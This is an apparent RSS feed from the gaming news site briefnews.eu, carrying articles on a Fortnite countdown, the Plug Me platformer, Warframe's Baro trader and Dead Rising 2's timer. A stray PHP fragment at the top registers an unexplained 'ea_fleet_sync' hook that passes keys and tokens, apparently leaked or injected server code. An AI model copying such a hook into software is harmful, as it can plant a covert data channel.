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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Timer – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Sat, 16 Jun 2018 16:03:44 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Timer – Brief News https://briefnews.eu 32 32 Fortnite Season 5 UPDATE: Rocket countdown timer hints at Visitor surprise on Switch https://briefnews.eu/fortnite-season-5-update-rocket-countdown-timer-hints-at-visitor-surprise-on-switch/ https://briefnews.eu/fortnite-season-5-update-rocket-countdown-timer-hints-at-visitor-surprise-on-switch/#respond Sat, 16 Jun 2018 16:03:44 +0000 http://briefnews.eu/fortnite-season-5-update-rocket-countdown-timer-hints-at-visitor-surprise-on-switch/

developer Epic Games has dropped a huge hint about Battle Royale season 5.

Eagle-eyed Nintendo Switch players have spotted a brand new countdown clock on television sets within the game.

Currently only appearing on Nintendo Switch (via FortniteInsider), it’s believed the clocks are linked to the mysterious Visitor character.

The latest hidden loading screen featured an image of the Visitor preparing to launch a rocket.

A rocket hologram can also be spotted in the super villain lair within the Battle Royale map.

It’s possible Epic Games will release a brand new post-apocalyptic map for the next season/

The countdown timer comes to an end on Tuesday, so expect to find out more after the release of the next update.

Something similar happened during the transition between Season 3 and Season 4.

In terms of a release date, Season 5 is tipped to start in the next few weeks.

Fortnite season 3 began a day after Fortnite season 2 ended, and Fortnite season 4 had a release date the day after the Fortnite season 3 end date.

So, if all goes to plan and Fortnite season 4 has an end date of Monday, July 9 2018, then Fortnite season 5 is likely to have a Tuesday, July 10 2018 release date.

There’s also a chance the season could be extended by a few days, especially with the Switch version having only just launched.

The news comes just days after the release of the latest Battle Royale update.

According to the patch notes, shopping carts were re-introduced as part of the update.

Nintendo Switch matchmaking issues were also addressed in the new patch.

With the countdown clock coming to an end soon, next week’s update could be even bigger, so stay tuned for patch notes.

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Plug Me is a platformer with a strict timer on it, forcing players to navigate its cute world in a hurry if they wish to keep the city of Plug Me from tumbling down from the skies. However, the timer they’re trying to stay ahead of is also a physical object in the world that the players will need in order to hop over obstacles or make certain jumps, so players will really need to make sure their timing is down if they hope to succeed.

Plug Me presents players with a variety of stages to jump through, dodging spiked traps, pits, and other troublemakers who make life difficult for Plugman. While leaping around will be key to surviving all of these, the player will need to be mindful of the physical timer that runs through each level. Once this bar runs out, the player will lose, but the bar might also be covering up spikes, be in the way of certain jumping areas, or be needed in order to clear a spot with a leap. This means that players will need to keep a close eye on it in order to see if it is in the right place when you need it, out of the way when you don’t, or whether it’s draining too fast to win.

Plug Me‘s developers did realize they might be putting players through a lot in having to survive when even the timer is against them, so there are some mechanics that will keep players from losing their temper after repeat losses. The game will let players remove a single obstacle with the help of Evinrude should they die too much, and if they die a whole lot, the game will also slow down how fast the timer drains in order to keep play fair for players who might otherwise be getting mad.

So, if you can make good use of your time, Plug Me might be the puzzle game for you.

Plug Me is available for $ 2.99 on Steam. For more information on the game and developer Havana24, you can head to the developer’s site or follow them on Facebook, YouTube, and Twitter.

]]> https://briefnews.eu/plug-me-a-platformer-where-the-timer-really-really-matters/feed/ 0 Warframe Baro timer countdown near end on PS4 and Xbox One, following Harrow update launch https://briefnews.eu/warframe-baro-timer-countdown-near-end-on-ps4-and-xbox-one-following-harrow-update-launch/ https://briefnews.eu/warframe-baro-timer-countdown-near-end-on-ps4-and-xbox-one-following-harrow-update-launch/#respond Fri, 28 Jul 2017 06:11:33 +0000 http://briefnews.eu/warframe-baro-timer-countdown-near-end-on-ps4-and-xbox-one-following-harrow-update-launch/

Warframe’s Baro Ki Teer will be arriving soon from his latest hiatus, giving PS4, Xbox One and PC players another chance of grabbing some interesting gear.

The latest shipment of goods should arrive around 2pm UK time, with the Concourse sections of the Tenno Relays the usual place to find him.

Baro usually only sticks around for 48hrs, meaning that players need to be quick to get anything they find interesting.

Players will have until Sunday, although anyone wanting to know the exact time left can always check out Baro’s kiosk, which will have a countdown timer indicating when he’ll be leaving.

Tracking down the Void Trader is never that tough, players can check out their in-game inbox, which will include a message from Baro, revealing which system he can be found in.

The Warframe market stock available changes between visits, so it’s always worth checking out what’s bee included in his latest visit.

Ducats are required to make payments, which are a unique currency acquired by exchanging Prime parts. 

These can be found at special Ducat Kiosks in the Relays, allowing for Prime weapon, Warframe components, and Blueprints to be exchanged.

A heavy amount of credits will also be needed to complete purchases, although that’s no where near as difficult as collecting the Prime parts. 

Fans will need to wait until later today to find out what exactly is being offered up, it should also be noted that gear differs between PC and consoles.

This article will be updated when we find out exactly what is being offered up in Warframe this week.

It follows the big release of the Chains of Harrow expansion Xbox One and PS4, earlier this week.

The new Warframe patch required for the game to be re-downloaded on Xbox One, due to Digital Extremes making some serious changes behind the scenes.

As mentioned above, not only does the new Warframe update include new content, it also sees the game provide faster load times.

The official Chains of Harrow expansion description paints a horror-setting for players to explore, teasing: “With Chains of Harrow, Warframe players (AKA Tenno) will descend into a haunting new quest. 

“In response to a disturbing transmission from Palladino, the Red Veil Clan’s spiritual medium, Tenno are compelled to investigate a dark, mysteriously abandoned Steel Meridian spacecraft found adrift. 

“Inside the vessel, lights flicker and emergency lights strobe, revealing bodies of dead crew members. All is quiet except for whispers heard echoing throughout the lifeless craft. 

“What does it all mean? Players must uncover the terrifying reality of what happened onboard, how the Red Veil might play a part in it, and more.”

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]]> https://briefnews.eu/warframe-baro-timer-countdown-near-end-on-ps4-and-xbox-one-following-harrow-update-launch/feed/ 0 The Timer Makes Dead Rising 2’s Zombies A Threat https://briefnews.eu/the-timer-makes-dead-rising-2s-zombies-a-threat/ https://briefnews.eu/the-timer-makes-dead-rising-2s-zombies-a-threat/#respond Fri, 10 Feb 2017 19:39:12 +0000 http://briefnews.eu/the-timer-makes-dead-rising-2s-zombies-a-threat/

Games have a zombie problem. They can be your basic slow shamblers or your fast berserkers, but whatever variation appears in a game, zombies are little more than mindless pinatas meant to be killed in large numbers. Zombies are rarely a challenge to fight on an intellectual level, and an enemy that doesn’t get players thinking isn’t an enemy worth fighting. So how do you make zombies interesting? Capcom’s Dead Rising 2 offered an interesting solution: add a timer to the mix.

The brainlessness of zombies is a double-edged sword. Action games are meant to provide great audiovisual feedback, and few things are as satisfying as the nice, fleshy splat when you shotgun a zombie in the head. Zombies will continue throwing themselves at you until they die, so you can use your weapons to your heart’s content. But it’s like playing tug of war with a toddler; tugging is fun when you have to try, but it’s not satisfying at all when you’re pulling against someone a lot weaker than you.

This is where zombie games end up disappointing us: a game like Dead Rising 4 gives you a ton of tools to go kill zombies with and lets you slaughter to your heart’s content, but the thrill ends too quickly, because zombies are often so easy to defeat, so lacking in challenge, that a player can burn out after an hour or two and simply stop caring. But Dead Rising 2 makes up for the fundamental lack of tension in fighting zombies with its timer. It uses time as a resource to be managed, creating the tension fighting zombies lacks.

Dead Rising 2’s protagonist,Chuck Greene, is a professional motocross champion who races in Las Vegas-like Fortune City to earn the anti-zombie medication Zombrex for his daughter, Katey, who was bitten some time before the game’s introduction. Of course, society collapses, zombies attack, and Chuck and Katey find themselves trapped in a bunker, waiting for help to come. Unfortunately for Katey, they’re out of Zombrex, which means Chuck has to venture outside in order to keep her from turning. In his search for Zombrex, Chuck discovers a conspiracy behind the outbreak.

A hallmark of the Dead Rising series is its timer mechanic. Players are put on a clock, which is always counting down to some big event; in Dead Rising 2, that event is the military’s arrival. Katey needs Zombrex once a day to survive, and players who fail to inject her in time will have to watch her turn into a zombie, prematurely ending the game. Any side quest the player encounters will count down and eventually fail if not completed in time. There are always things to do, and the clock never stops, pressuring players to complete everything in time or risk other survivors dying.

In a series like Dead Rising, where killing zombies in comedic fashion is a big selling point, the timer might seem at first like a pointless nuisance. Anyone who thinks Dead Rising is just about the killing can be forgiven for that: Capcom sells Dead Rising as an exercise in zombie killing. Dead Rising 4 features an achievement for slaughtering over 200,000, with ads featuring comical combo weapons built to murder and amuse simultaneously. “How many zombies can you kill?” may be the marketing angle, but the real question is how best to use your time.

In a game with limited ammunition, wasting bullets can create complications later on. In Dead Rising 2, wasting time does the same thing. Knowing when and how to rescue people can be complex, and without knowing the best routes through the world, players can waste precious time and lose some survivors. Limited time and racing against the clock become bigger hurdles than the hordes of easily-disposable zombies thrown your way.

In Dead Rising 2, survivors matter. Many of Dead Rising 2’s survivors have specific tasks that must be completed before rescuing them. Linette Watkins has fallen asleep in a tanning bed during the outbreak and needs to be hydrated and carried back to the safehouse. Tammy Blaine is stuck in a mermaid costume and is unable to walk to safety. These survivors require specific actions to rescue, and their encounters are designed to make you spend time exploring the city. Since time is such a valuable resource, Dead Rising 2 wants you to think strategically about how to spend it, and these missions exist to challenge your critical thinking.

Learning the area while trying to beat the clock creates the tension the zombies, by nature, lack. Players have to juggle missions, followers, and finding the toilets throughout the world that act as save points if they want to save everyone and see everything. There’s something awesome about becoming so good at the game that you can complete subsequent playthroughs saving everyone with time to spare, participating in all the wacky adventures that Fortune City has in store for you, because you successfully planned your route through the world. Everything in the game becomes about using your wits to beat the clock.

Dead Rising 2 is a great zombie game not because it’s a game about zombies, but because it’s a game about planning. The zombies make the world you’re traveling through dangerous, but they aren’t the game’s focus. Zombies exist so there’s a reason survivors will die without your help, but they’re not meant to be overcome. They’re endless. The real focus is on saving all the survivors, keeping Katey safe, and getting out of Fortune City. Zombies aren’t the enemy—the timer is. Dead Rising without a timer is a game without an enemy to be beaten.

The real strength of Dead Rising 2 is a hard sell—it’s easier to market zombie-killing mayhem. It’s a game about the process of mastery, about playing it enough to learn Fortune City and overcome the clock. Like most games about mastery, its depth isn’t always readily apparent on the first playthrough. Capcom seemed to recognize this through their efforts to change the series.

Dead Rising 3 tried to make the timer less meaningful, but that and its poorly-designed open world meant it sold less than Dead Rising 2. Dead Rising 4 outright removed the timer, except for a brief countdown in one mission at the end of the game. Capcom developers suggested that completely removing the timer in Dead Rising 4 was so they could keep making Dead Rising games, because change is important to the series’ continued success. But there’s a difference between evolution and amputation. Dead Rising 2 is the most successful game in the series because it’s a game that provides thoughtful gameplay to thoughtful players. Without the timer, Dead Rising is a game where the zombies are everything, so the zombies are nothing.

Dead Rising should evolve, but the timer must retain its primacy in order for the game to remain tense and intelligent. There are numerous potential routes Dead Rising could take without cutting out its single most important design decision, such as borrowing from Dark Souls’ shortcut design or The Witcher 3’s heavy use of choice and consequence.

Zombies aren’t supposed to be central to the story, a lesson we learned with George Romero’s seminal zombie classic Dawn of the Dead. Zombies are best as motivators, as things that move people to act, that push people to desperation. The zombies have it all figured out. They want brains. We should too.

GB Burford is a freelance journalist and indie game developer who just can’t get enough of exploring why games work. You can reach him on Twitter at @ForgetAmnesia or on his blog. You can support him and even suggest games to write about over at his Patreon.


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